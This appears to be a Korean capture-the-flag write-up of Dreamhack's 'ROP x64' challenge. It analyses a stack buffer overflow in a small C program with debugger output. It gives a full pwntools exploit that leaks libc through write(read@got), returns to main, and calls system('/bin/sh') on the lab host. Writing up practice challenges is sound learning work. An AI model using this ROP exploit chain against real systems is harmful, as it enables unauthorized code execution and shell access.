← 전체 Write-Up

Pwn / Dreamhack

ROP x64

Dreamhack 문제의 풀이와 실습 과정을 원문 그대로 담은 개인 기록입니다.

읽기 안내

Dreamhack의 개인 문제 풀이 기록입니다. 원문에 남아 있는 실습 주소·플래그와 실패·미완료 결과를 그대로 보존했습니다.

환경

ROP x64 — 실습 화면 1

  • 64bit
  • NX ON

실습 코드

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

분석

1. 취약점 분석

buf 변수의 크기는 0x40이다. 그러나 read() 함수에서 buf 변수에 0x400 크기의 입력을 받고 있다. 이 부분에서 BOF 취약점이 발생한다. 이번 환경에서는 NX 보호기법이 거러려 있기 때문에 앞서 말했듯 셸코드 사용이 어렵고, Return Oriented Programming 기법을 이용해서 익스플로잇을 진행해보자.


2. 익스플로잇


ROP를 사용하여 system("/bin/sh")를 실행하는 것을 목표로 해보자. 해당 기능을 실행하기 위해서는 여러 가젯과 인자로 들어갈 값들을 찾아야 한다.

Buffer Overflow

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}

buf의 크기는 0x40, 64 바이트이지만, 0x400 = 1024 바이트를 입력 받을 수 있어 버퍼 오버플로우가 발생한다. buf가 할당된 64바이트 뒤에는 8바이트의 SFP와 8바이트의 RET이 위치한다. 그래서 'A'를 72바이트만큼 입력해서 buf, SFP를 더미 데이터로 덮고 RET를 원하는 값으로 설정하면 바이너리의 실행 흐름을 조작할 수 있다.

pwndbg> disassemble main
Dump of assembler code for function main:
   0x00000000004007ba <+0>:     push   rbp
   0x00000000004007bb <+1>:     mov    rbp,rsp
   0x00000000004007be <+4>:     sub    rsp,0x50
   0x00000000004007c2 <+8>:     mov    DWORD PTR [rbp-0x44],edi
   0x00000000004007c5 <+11>:    mov    QWORD PTR [rbp-0x50],rsi
   0x00000000004007c9 <+15>:    lea    rdx,[rbp-0x40]
   0x00000000004007cd <+19>:    mov    eax,0x0
   0x00000000004007d2 <+24>:    mov    ecx,0x8
   0x00000000004007d7 <+29>:    mov    rdi,rdx
   0x00000000004007da <+32>:    rep stos QWORD PTR es:[rdi],rax
   0x00000000004007dd <+35>:    mov    eax,0x0
   0x00000000004007e2 <+40>:    call   0x40075e <initialize>
   0x00000000004007e7 <+45>:    lea    rax,[rbp-0x40]
   0x00000000004007eb <+49>:    mov    edx,0x400
   0x00000000004007f0 <+54>:    mov    rsi,rax
   0x00000000004007f3 <+57>:    mov    edi,0x0
   0x00000000004007f8 <+62>:    call   0x4005f0 <read@plt>
   0x00000000004007fd <+67>:    lea    rax,[rbp-0x40]
   0x0000000000400801 <+71>:    mov    edx,0x40
   0x0000000000400806 <+76>:    mov    rsi,rax
   0x0000000000400809 <+79>:    mov    edi,0x1
   0x000000000040080e <+84>:    call   0x4005d0 <write@plt>
   0x0000000000400813 <+89>:    mov    eax,0x0
   0x0000000000400818 <+94>:    leave
   0x0000000000400819 <+95>:    ret
End of assembler dump.

read, write 함수에 인자로 들어가는 buf의 주소는 rbp - 0x40 임을 확인할 수 있다. 따라서 buf + 0x40이 SFP이고 , buf + 0x48이 익스플로잇 시 값을 조작하여야 하는 RET의 부분이다.

─────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x7ffff7e99887 (write+23) ◂— cmp rax, -0x1000 /* 'H=' */
 RDX  0x40
 RDI  0x1
 RSI  0x7fffffffc850 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbb\\n'
 R8   0x7fffffffc780 ◂— 0x0
 R9   0x0
 R10  0x7ffff7d8c128 ◂— 0xf002200005372 /* 'rS' */
 R11  0x246
 R12  0x7fffffffc9a8 —▸ 0x7fffffffce4e ◂— '/home/jerry/rop/basic_rop_x64'
 R13  0x4007ba (main) ◂— push rbp
 R14  0x0
 R15  0x7ffff7ffd040 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
 RBP  0x6161616161616161 ('aaaaaaaa')
 RSP  0x7fffffffc898 ◂— 'bbbbbbbb\\n'
 RIP  0x400819 (main+95) ◂— ret
──────────────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────────────────────
   0x7ffff7e99887 <write+23>    cmp    rax, -0x1000
   0x7ffff7e9988d <write+29>    ja     write+112                <write+112>

   0x7ffff7e9988f <write+31>    ret
    ↓
   0x400813       <main+89>     mov    eax, 0
   0x400818       <main+94>     leave
 ► 0x400819       <main+95>     ret    <0x6262626262626262>

"a" * 72 + "b" * 8의 입력을 주니 0x6262626262626262("bbbbbbbb")로 리턴하는 것을 확인할 수 있다.

system 함수 주소 계산

ASLR이 걸려있기 때문에, system 함수의 주소는 계속 변하게 되지만 ASLR로 인해 변경되는 주소는 라이브러리가 매핑된 Base 주소이고, 이에 따라 라이브러리 내부 함수들의 offset 값은 변경되지 않는다. 그래서 Base 주소를 구하면 Base 주소 + system 함수의 offset을 통해 system 함수의 주소를 구할 수 있다.

system 함수는 libc.so.6에 정의되어 있고, 해당 라이브러리에는 read, puts, printf도 정의되어 있다. 그래서 read 함수의 주소 - read 함수의 offset을 하면 Base 주소를 구할 수 있다.

read 함수가 실행된 이후 read 함수의 주소는 GOT에 등록되어 있기 때문에, read 함수의 GOT 값을 읽으면 read 함수의 주소를 구할 수 있다.

read 함수가 실행된 이후 read 함수의 주소는 GOT에 등록되어 있기 때문에, read 함수의 GOT 값을 읽으면 read 함수의 주소를 구할 수 있다.

"/bin/sh" 문자열

system("/bin/sh")를 실행하기 위해서는 "/bin/sh" 문자열이 필요하다. "/bin/sh" 무자열의 주소를 grep 명령어로 찾아보자.

pwndbg> search "/bin/sh"
Searching for value: '/bin/sh'
libc.so.6       0x7ffff7f5d678 0x68732f6e69622f /* '/bin/sh' */

libc.so.6 라이브러리에 존재한다. 하지만 이 영역은 ASLR의 영향을 받기 때문에, 위의 system 함수와 동일하게 Base 주소 + "/bin/sh" 문자열 offset 으로 주소를 구해야 한다. "/bin/sh" 문자열의 offset은 아래 코드를 통해 구할 수 있다. pwntools의 ELF를 사용하여 libc를 불러온 후, libc에서 search 메서드 함수를 사용한다.

from pwn import *

libc = ELF("./libc.so.6", checksec=False)
sh = list(libc.search(b"/bin/sh"))[0]

시나리오

라이브러리의 Base 주소를 모르기 때문에 바로 system("/bin/sh")를 실행하기는 어려움이 있다. 따라서 ret2main 기법을 사용해보자. ret2main 기법은 원하는 정보를 얻은 후, 다시 main 함수로 돌아와 원하는 명령을 계속 이어나가는 기법이다. 먼저 write 함수를 이용해 라이브러리의 Base 주소 libc base를 구한 후, 그를 이용해 system 함수와 "/bin/sh"주소를 계산한 후, 두 번째 main 함수 실행 시 system("/bin/sh")를 실행하여 문제를 해결할 수 있다.

libc base 구하기

  • write(1, read@got, 8)
  • read@got 값을 출력하여 read 함수 주소 획득
  • libc base = read address - read offset
  • read 함수의 주소에서 offset을 빼서 libc base 구하기

system 함수 주소 구하기

  • system = libc base + system offset

“/bin/sh” 주소 구하기

  • “/bin/sh” = libc base + “/bin/sh” offset

ret2main

  • write(1, read@got, 8) 의 코드 이후 main 의 주소를 넣어서 RET 를 조작하면 main 함수로 돌아올 수 있습니다.

셸 획득

위에서 system 함수의 주소와 "/bin/sh" 문자열의 주소를 구했기 때문에, pop rdi; ret 가젯을 이용하면 system("/bin/sh") 를 호출하여 셸을 획득할 수 있다. 익스플로잇 시 사용하는 가젯은 pwntools의 ROP 클래스의 메서드 함수인 find_gadget을 사용하여 구했다.


익스플로잇 코드

from pwn import *

def slog(symbol, addr):
    return success(symbol + ": " + hex(addr))

#context.log_level = 'debug'

p = remote('host3.dreamhack.games', 10263)
#p = process("./basic_rop_x64")
e = ELF("./basic_rop_x64")
#libc = e.libc
libc = ELF("./libc.so.6", checksec=False)
r = ROP(e)

read_plt = e.plt["read"]
read_got = e.got["read"]
write_plt = e.plt["write"]
write_got = e.got["write"]
main = e.symbols["main"]

read_offset = libc.symbols["read"]
system_offset = libc.symbols["system"]
sh = list(libc.search(b"/bin/sh"))[0]

pop_rdi = r.find_gadget(['pop rdi', 'ret'])[0]
pop_rsi_r15 = r.find_gadget(['pop rsi', 'pop r15', 'ret'])[0]

# Stage 1
payload:bytes = b'A' * 0x48

# write(1, read@got, 8)
payload += p64(pop_rdi) + p64(1)
payload += p64(pop_rsi_r15) + p64(read_got) + p64(8)
payload += p64(write_plt)

# return to main
payload += p64(main)

p.send(payload)

p.recvuntil(b'A' * 0x40)
read = u64(p.recvn(6)+b'\\x00'*2)
lb = read - read_offset
system = lb + system_offset
binsh = sh + lb

slog("read", read)
slog("libc base", lb)
slog("system", system)
slog("/bin/sh", binsh)

# Stage 2
payload: bytes = b'A' * 0x48

# system("/bin/sh")
payload += p64(pop_rdi) + p64(binsh)
payload += p64(system)

p.send(payload)
p.recvuntil(b'A' * 0x40)

p.interactive()

작성 기록과 문제 출처

원문과 출처

풀이와 설명: MadEyE / 이선용의 개인 Notion 기록.
문제에서 제공한 코드·서비스 화면과 외부 참고자료의 권리는 해당 작성자와 플랫폼에 있습니다.

원문 본문·코드·실습 증적을 보존했으며, 원문에 포함된 외부 글은 참고 링크로 안내합니다.

이미지 원본 출처